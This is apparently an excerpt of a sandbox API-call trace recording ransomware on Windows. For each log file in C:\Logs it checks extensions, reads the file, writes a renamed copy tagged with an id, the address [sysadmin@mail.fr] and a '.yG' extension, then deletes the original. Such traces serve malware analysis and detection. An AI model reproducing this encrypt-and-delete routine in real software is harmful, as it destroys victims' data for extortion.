	[0050.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0050.721] lstrlenW (lpString=".zip") returned 4
	[0050.721] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.721] lstrlenW (lpString=".rar") returned 4
	[0050.721] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.721] lstrlenW (lpString=".bz2") returned 4
	[0050.721] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.721] lstrlenW (lpString=".7z") returned 3
	[0050.721] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0050.721] lstrlenW (lpString=".dbf") returned 4
	[0050.721] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0050.721] lstrlenW (lpString=".1cd") returned 4
	[0050.721] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0050.721] lstrlenW (lpString=".jpg") returned 4
	[0050.721] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.721] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0050.721] lstrlenW (lpString="Microsoft-Windows-NCSI%4Operational.evtx") returned 40
	[0050.721] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0050.722] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=69632) returned 1
	[0050.722] CloseHandle (hObject=0x388) returned 1
	[0050.722] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20
	[0050.722] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.722] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0050.722] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.722] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.722] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0050.722] GetLastError () returned 0x0
	[0050.722] ReadFile (in: hFile=0x388, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0050.795] WriteFile (in: hFile=0x348, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0050.805] ReadFile (in: hFile=0x388, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.805] WriteFile (in: hFile=0x348, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x124, lpOverlapped=0x0) returned 1
	[0050.805] SetEndOfFile (hFile=0x348) returned 1
	[0050.817] CloseHandle (hObject=0x348) returned 1
	[0050.819] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.819] SetEndOfFile (hFile=0x388) returned 1
	[0050.820] CloseHandle (hObject=0x388) returned 1
	[0050.820] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0050.820] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 1
	[0050.821] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0050.821] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0050.821] lstrlenW (lpString=".doc") returned 4
	[0050.821] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.821] lstrlenW (lpString=".docx") returned 5
	[0050.821] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.821] lstrlenW (lpString=".pdf") returned 4
	[0050.821] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.821] lstrlenW (lpString=".xls") returned 4
	[0050.821] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.821] lstrlenW (lpString=".xlsx") returned 5
	[0050.821] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.821] lstrlenW (lpString=".ppt") returned 4
	[0050.821] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.821] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0050.821] lstrlenW (lpString=".zip") returned 4
	[0050.821] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.821] lstrlenW (lpString=".rar") returned 4
	[0050.821] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.821] lstrlenW (lpString=".bz2") returned 4
	[0050.821] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.821] lstrlenW (lpString=".7z") returned 3
	[0050.821] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.821] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0050.821] lstrlenW (lpString=".dbf") returned 4
	[0050.821] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.822] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0050.822] lstrlenW (lpString=".1cd") returned 4
	[0050.822] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.822] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0050.822] lstrlenW (lpString=".jpg") returned 4
	[0050.822] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.822] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0050.822] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0050.822] lstrlenW (lpString=".doc") returned 4
	[0050.822] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.822] lstrlenW (lpString=".docx") returned 5
	[0050.822] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.822] lstrlenW (lpString=".pdf") returned 4
	[0050.822] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.822] lstrlenW (lpString=".xls") returned 4
	[0050.822] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.822] lstrlenW (lpString=".xlsx") returned 5
	[0050.822] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.822] lstrlenW (lpString=".ppt") returned 4
	[0050.822] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.822] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0050.822] lstrlenW (lpString=".zip") returned 4
	[0050.822] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.822] lstrlenW (lpString=".rar") returned 4
	[0050.822] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.822] lstrlenW (lpString=".bz2") returned 4
	[0050.822] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.822] lstrlenW (lpString=".7z") returned 3
	[0050.822] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.822] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0050.822] lstrlenW (lpString=".dbf") returned 4
	[0050.822] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.822] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0050.822] lstrlenW (lpString=".1cd") returned 4
	[0050.822] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.822] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0050.823] lstrlenW (lpString=".jpg") returned 4
	[0050.823] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.823] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0050.823] lstrlenW (lpString="Microsoft-Windows-Ntfs%4Operational.evtx") returned 40
	[0050.823] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0050.835] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=69632) returned 1
	[0050.836] CloseHandle (hObject=0x388) returned 1
	[0050.836] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20
	[0050.836] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.836] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0050.836] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.836] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.836] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0050.854] GetLastError () returned 0x0
	[0050.854] ReadFile (in: hFile=0x388, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0050.909] WriteFile (in: hFile=0x348, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0050.912] ReadFile (in: hFile=0x388, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.912] WriteFile (in: hFile=0x348, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x124, lpOverlapped=0x0) returned 1
	[0050.912] SetEndOfFile (hFile=0x348) returned 1
	[0050.913] CloseHandle (hObject=0x348) returned 1
	[0050.914] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.914] SetEndOfFile (hFile=0x388) returned 1
	[0050.915] CloseHandle (hObject=0x388) returned 1
	[0050.915] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0050.915] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 1
	[0050.973] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0050.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0050.974] lstrlenW (lpString=".doc") returned 4
	[0050.974] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.974] lstrlenW (lpString=".docx") returned 5
	[0050.974] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.974] lstrlenW (lpString=".pdf") returned 4
	[0050.974] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.974] lstrlenW (lpString=".xls") returned 4
	[0050.974] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.974] lstrlenW (lpString=".xlsx") returned 5
	[0050.974] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.974] lstrlenW (lpString=".ppt") returned 4
	[0050.974] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0050.974] lstrlenW (lpString=".zip") returned 4
	[0050.974] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.974] lstrlenW (lpString=".rar") returned 4
	[0050.974] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.974] lstrlenW (lpString=".bz2") returned 4
	[0050.974] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.974] lstrlenW (lpString=".7z") returned 3
	[0050.974] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0050.974] lstrlenW (lpString=".dbf") returned 4
	[0050.974] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0050.974] lstrlenW (lpString=".1cd") returned 4
	[0050.974] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0050.974] lstrlenW (lpString=".jpg") returned 4
	[0050.974] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0050.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0050.974] lstrlenW (lpString=".doc") returned 4
	[0050.974] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.974] lstrlenW (lpString=".docx") returned 5
	[0050.975] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.975] lstrlenW (lpString=".pdf") returned 4
	[0050.975] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.975] lstrlenW (lpString=".xls") returned 4
	[0050.975] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.975] lstrlenW (lpString=".xlsx") returned 5
	[0050.975] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.975] lstrlenW (lpString=".ppt") returned 4
	[0050.975] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0050.975] lstrlenW (lpString=".zip") returned 4
	[0050.975] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.975] lstrlenW (lpString=".rar") returned 4
	[0050.975] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.975] lstrlenW (lpString=".bz2") returned 4
	[0050.975] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.975] lstrlenW (lpString=".7z") returned 3
	[0050.975] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0050.975] lstrlenW (lpString=".dbf") returned 4
	[0050.975] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0050.975] lstrlenW (lpString=".1cd") returned 4
	[0050.975] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0050.975] lstrlenW (lpString=".jpg") returned 4
	[0050.975] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.975] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0050.975] lstrlenW (lpString="Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 46
	[0050.975] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0051.060] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=69632) returned 1
	[0051.060] CloseHandle (hObject=0x34c) returned 1
	[0051.060] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20
	[0051.060] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.061] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0051.061] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.061] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.061] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0051.061] GetLastError () returned 0x0
	[0051.061] ReadFile (in: hFile=0x34c, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0051.112] WriteFile (in: hFile=0x2e4, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0051.114] ReadFile (in: hFile=0x34c, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.114] WriteFile (in: hFile=0x2e4, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x130, lpOverlapped=0x0) returned 1
	[0051.114] SetEndOfFile (hFile=0x2e4) returned 1
	[0051.114] CloseHandle (hObject=0x2e4) returned 1
	[0051.116] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.116] SetEndOfFile (hFile=0x34c) returned 1
	[0051.117] CloseHandle (hObject=0x34c) returned 1
	[0051.117] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0051.117] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 1
	[0051.118] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0051.118] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0051.118] lstrlenW (lpString=".doc") returned 4
	[0051.118] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0051.118] lstrlenW (lpString=".docx") returned 5
	[0051.118] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0051.118] lstrlenW (lpString=".pdf") returned 4
	[0051.118] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0051.118] lstrlenW (lpString=".xls") returned 4
	[0051.118] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0051.118] lstrlenW (lpString=".xlsx") returned 5
	[0051.118] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0051.118] lstrlenW (lpString=".ppt") returned 4
	[0051.118] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0051.118] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0051.118] lstrlenW (lpString=".zip") returned 4
	[0051.118] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0051.118] lstrlenW (lpString=".rar") returned 4
	[0051.118] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0051.118] lstrlenW (lpString=".bz2") returned 4
	[0051.118] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0051.118] lstrlenW (lpString=".7z") returned 3
	[0051.118] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0051.118] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0051.118] lstrlenW (lpString=".dbf") returned 4
	[0051.118] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0051.118] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0051.118] lstrlenW (lpString=".1cd") returned 4
	[0051.118] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0051.118] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0051.118] lstrlenW (lpString=".jpg") returned 4
	[0051.118] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0051.119] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0051.119] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0051.119] lstrlenW (lpString=".doc") returned 4
	[0051.119] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0051.119] lstrlenW (lpString=".docx") returned 5
	[0051.119] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0051.119] lstrlenW (lpString=".pdf") returned 4
	[0051.119] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0051.119] lstrlenW (lpString=".xls") returned 4
	[0051.119] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0051.119] lstrlenW (lpString=".xlsx") returned 5
	[0051.119] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0051.119] lstrlenW (lpString=".ppt") returned 4
	[0051.119] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0051.119] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0051.119] lstrlenW (lpString=".zip") returned 4
	[0051.119] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0051.119] lstrlenW (lpString=".rar") returned 4
	[0051.119] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0051.119] lstrlenW (lpString=".bz2") returned 4
	[0051.119] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0051.119] lstrlenW (lpString=".7z") returned 3
	[0051.119] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0051.119] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0051.119] lstrlenW (lpString=".dbf") returned 4
	[0051.119] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0051.119] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0051.119] lstrlenW (lpString=".1cd") returned 4
	[0051.119] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0051.119] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0051.119] lstrlenW (lpString=".jpg") returned 4
	[0051.119] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0051.119] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0051.119] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Operational.evtx") returned 47
